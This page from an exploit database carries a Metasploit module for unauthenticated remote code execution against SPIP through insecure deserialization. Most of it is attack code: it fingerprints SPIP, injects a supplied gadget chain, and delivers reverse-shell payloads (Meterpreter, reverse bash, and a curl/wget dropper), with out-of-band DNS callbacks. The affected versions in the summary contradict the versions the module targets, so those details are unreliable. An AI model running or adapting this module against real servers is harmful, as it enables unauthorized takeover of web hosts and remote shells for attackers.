## https://sploitus.com/exploit?id=PACKETSTORM:216086
=============================================================================================================================================
| # Title : SPIP Unauthenticated Remote Code Execution via Insecure Deserialization |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : No standalone download available |
=============================================================================================================================================
[+] Summary : A remote code execution vulnerability was identified in SPIP due to improper handling of user-supplied serialized data.
The application fails to properly validate or restrict unsafe object deserialization, allowing an attacker to supply crafted input
that triggers unintended object instantiation and execution flow manipulation.
Under certain configurations, this issue may allow an unauthenticated remote attacker to execute arbitrary system commands on the affected server.
Affected Versions
SPIP 4.2.x prior to 4.2.1
SPIP 4.1.x prior to 4.1.8
SPIP 4.0.x prior to 4.0.10
Any installation running a version earlier than the patched releases listed above is considered vulnerable.
Fixed Versions
The issue has been addressed in:
SPIP 4.2.1 and later
SPIP 4.1.8 and later
SPIP 4.0.10 and later
Administrators are strongly advised to upgrade to a patched version to mitigate the risk.
[+] Successful exploitation could result in:
Remote command execution
Full compromise of the web server context
Potential lateral movement within the hosting environment
Administrators are advised to upgrade to the latest patched version of SPIP and ensure that deserialization of untrusted data is properly restricted or eliminated.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SPIP 4.4.8 and earlier Insecure Deserialization RCE',
'Description' => %q{
This module exploits an insecure deserialization vulnerability in SPIP
versions before 4.4.9. The vulnerability exists in the public area through
the table_valeur filter and the DATA iterator, which accept serialized data.
NOTE: This module requires a valid gadget chain for SPIP 4.4.8. The included
chains are EXAMPLES ONLY and will not work. Users must provide a real gadget
chain via the GADGET_CHAIN option.
},
'License' => MSF_LICENSE,
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2026-27475'],
['URL', 'https://www.spip.net/fr_article6799.html']
],
'Platform' => ['php', 'unix', 'linux'],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_memory,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => ['curl', 'wget'],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DisclosureDate' => '2026-02-19',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to SPIP installation', '/']),
OptInt.new('ARTICLE_ID', [true, 'Article ID to use in the request', 1]),
OptEnum.new('VECTOR', [true, 'Attack vector to use', 'DATA', ['DATA', 'table_valeur']]),
OptString.new('GADGET_CHAIN', [false, 'REAL gadget chain (base64 encoded) - REQUIRED for RCE']),
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('DOMAIN', [false, 'Domain for OOB callback detection']),
OptBool.new('SSL_VERIFY', [false, 'Verify SSL certificate', false]),
OptInt.new('MAX_PAYLOAD_LENGTH', [true, 'Maximum allowed payload length', 4096]),
OptString.new('BAD_CHARS', [false, 'Characters to avoid in payload (hex format)', "\x00\x0A\x0D\"'\\"])
]
)
end
def gadget_chain_provided?
!(datastore['GADGET_CHAIN'].nil? || datastore['GADGET_CHAIN'].empty?)
end
def domain_provided?
!(datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty?)
end
def build_params(payload_value)
{
'page' => 'article',
'id_article' => datastore['ARTICLE_ID'].to_s,
datastore['VECTOR'] => payload_value
}
end
def vulnerable_version?(version)
version < Rex::Version.new('4.4.9')
end
def check_result_vulnerable?(result)
[CheckCode::Appears, CheckCode::Detected].include?(result)
end
def build_cmd_chain(cmd)
unless gadget_chain_provided?
fail_with(Failure::BadConfig, "GADGET_CHAIN is required for RCE")
end
base_chain = Rex::Text.decode_base64(datastore['GADGET_CHAIN'])
if base_chain.include?('{{CMD}}')
base_chain.gsub('{{CMD}}', cmd)
elsif base_chain =~ /s:\d+:".*?"/
if base_chain =~ /(s:\d+:")[^"]*(")/
old_field = Regexp.last_match(0)
new_field = "s:#{cmd.bytesize}:\"#{cmd}\""
base_chain.sub(old_field, new_field)
else
base_chain
end
else
base_chain
end
end
def fingerprint_spip
fingerprints = [
{ path: 'spip.php', pattern: /SPIP (\d+\.\d+\.\d+)/, has_capture: true },
{ path: 'ecrire/', pattern: /spip\.css/, has_capture: false },
{ path: 'spip.php?page=backend', pattern: /generator.*SPIP/i, has_capture: false },
{ path: 'local/config.txt', pattern: /SPIP/, has_capture: false }
]
fingerprints.each do |fp|
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, fp[:path]),
'verify' => datastore['SSL_VERIFY']
})
next unless res
if res.body.match(fp[:pattern])
version = nil
if fp[:has_capture] && res.body =~ fp[:pattern]
version = Regexp.last_match(1)
end
return { detected: true, version: version, path: fp[:path] }
end
rescue Rex::ConnectionError, Rex::TimeoutError => e
vprint_error("Fingerprint attempt failed for #{fp[:path]}: #{e.message}") if datastore['VERBOSE']
next
end
end
{ detected: false }
end
def bad_chars_list
if datastore['BAD_CHARS']
datastore['BAD_CHARS'].chars
else
["\x00", "\x0A", "\x0D", '"', "'", "\\"]
end
end
def validate_payload(payload)
max_length = datastore['MAX_PAYLOAD_LENGTH']
if payload.length > max_length
print_warning("Payload length (#{payload.length}) exceeds #{max_length} bytes")
return false
end
bad_chars_list.each do |char|
if payload.include?(char)
print_warning("Payload contains bad character: #{char.inspect}")
vprint_status("Payload: #{payload.unpack('H*').first}") if datastore['VERBOSE']
return false
end
end
true
end
def encode_for_url(payload)
Rex::Text.uri_encode(payload, 'hex-normal')
end
def create_oob_payload
return nil unless domain_provided?
dns_id = Rex::Text.rand_text_alphanumeric(8)
callback = "#{dns_id}.#{datastore['DOMAIN']}"
if gadget_chain_provided?
chain = Rex::Text.decode_base64(datastore['GADGET_CHAIN'])
if chain.include?('{{OOB}}')
chain.gsub('{{OOB}}', callback)
elsif chain =~ /s:\d+:".*?"/
if chain =~ /(s:\d+:")[^"]*(")/
old_field = Regexp.last_match(0)
new_field = "s:#{callback.bytesize}:\"#{callback}\""
chain.sub(old_field, new_field)
else
nil
end
else
nil
end
else
nil
end
end
def detect_oob_activity
return false unless domain_provided?
print_status("Check your DNS server for callback to #{datastore['DOMAIN']}")
false
end
def send_exploit_request(params, method = 'GET')
begin
request_params = {
'method' => method,
'uri' => normalize_uri(target_uri.path, 'spip.php'),
'timeout' => 20,
'verify' => datastore['SSL_VERIFY']
}
if method == 'GET'
request_params['vars_get'] = params
else
request_params['vars_post'] = params
end
send_request_cgi(request_params) # returns Response or nil
rescue Rex::ConnectionError, Rex::TimeoutError => e
vprint_error("Request failed: #{e.message}")
nil
end
end
def execute_command(cmd, opts = {})
gadget_chain = build_cmd_chain(cmd)
params = build_params(gadget_chain)
send_exploit_request(params, 'POST')
end
def execute_cmdstager_with_fallback
flavors = target['CmdStagerFlavor']
flavors.each do |flavor|
begin
print_status("Trying cmdstager flavor: #{flavor}")
max_fragment = (datastore['MAX_PAYLOAD_LENGTH'] * 0.8).to_i
execute_cmdstager(
flavor: flavor.to_sym,
linemax: max_fragment
)
return true
rescue => e
print_warning("Flavor #{flavor} failed: #{e.message}")
next
end
end
false
end
def check
print_status("Fingerprinting SPIP installation...")
fp_result = fingerprint_spip
unless fp_result[:detected]
return CheckCode::Unknown('Could not detect SPIP installation')
end
if fp_result[:version]
print_good("Detected SPIP version: #{fp_result[:version]}")
begin
version = Rex::Version.new(fp_result[:version])
if vulnerable_version?(version)
result = CheckCode::Appears("Vulnerable SPIP version #{fp_result[:version]} detected")
unless gadget_chain_provided?
print_warning("GADGET_CHAIN is required for actual exploitation")
else
print_good("GADGET_CHAIN provided")
end
return result
else
return CheckCode::Safe("Patched SPIP version #{fp_result[:version]} detected")
end
rescue
return CheckCode::Detected("SPIP detected at #{fp_result[:path]}, version unknown")
end
end
CheckCode::Detected("SPIP detected at #{fp_result[:path]}")
end
def exploit
check_result = check
unless check_result_vulnerable?(check_result)
print_warning("Target may not be vulnerable. Check result: #{check_result}")
unless datastore['ForceExploit']
fail_with(Failure::NoTarget, "Exploit aborted by user (use ForceExploit to override)")
end
print_status("ForceExploit enabled - continuing anyway...")
end
unless gadget_chain_provided?
fail_with(Failure::BadConfig, "GADGET_CHAIN is required for RCE. No example chains included.")
end
if domain_provided?
print_status("Attempting OOB detection...")
oob_payload = create_oob_payload
if oob_payload
params = build_params(oob_payload)
send_exploit_request(params, 'POST')
print_status("OOB payload sent.")
Rex.sleep(2)
detect_oob_activity
end
end
case target['Type']
when :php_memory, :unix_cmd
final_payload = payload.encoded
gadget_chain = build_cmd_chain(final_payload)
unless validate_payload(gadget_chain)
fail_with(Failure::BadConfig, "Payload validation failed")
end
if gadget_chain.length > 2048
print_status("Using POST for large payload (#{gadget_chain.length} bytes)")
params = build_params(gadget_chain)
send_exploit_request(params, 'POST')
else
print_status("Using GET for payload (#{gadget_chain.length} bytes)")
encoded = encode_for_url(gadget_chain)
params = build_params(encoded)
send_exploit_request(params, 'GET')
end
print_status("Exploit sent. Waiting for session...")
Rex.sleep(2)
when :linux_dropper
print_status("Using cmdstager for Linux dropper")
unless execute_cmdstager_with_fallback
fail_with(Failure::Unknown, "All cmdstager flavors failed")
end
end
rescue Msf::Exploit::Failed => e
print_error("Exploit failed: #{e.message}")
raise e
rescue => e
print_error("Unexpected error: #{e.message}")
print_error("Backtrace: #{e.backtrace.join("\n")}") if datastore['VERBOSE']
end
def on_new_session(client)
print_good("Session successfully created!")
super
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================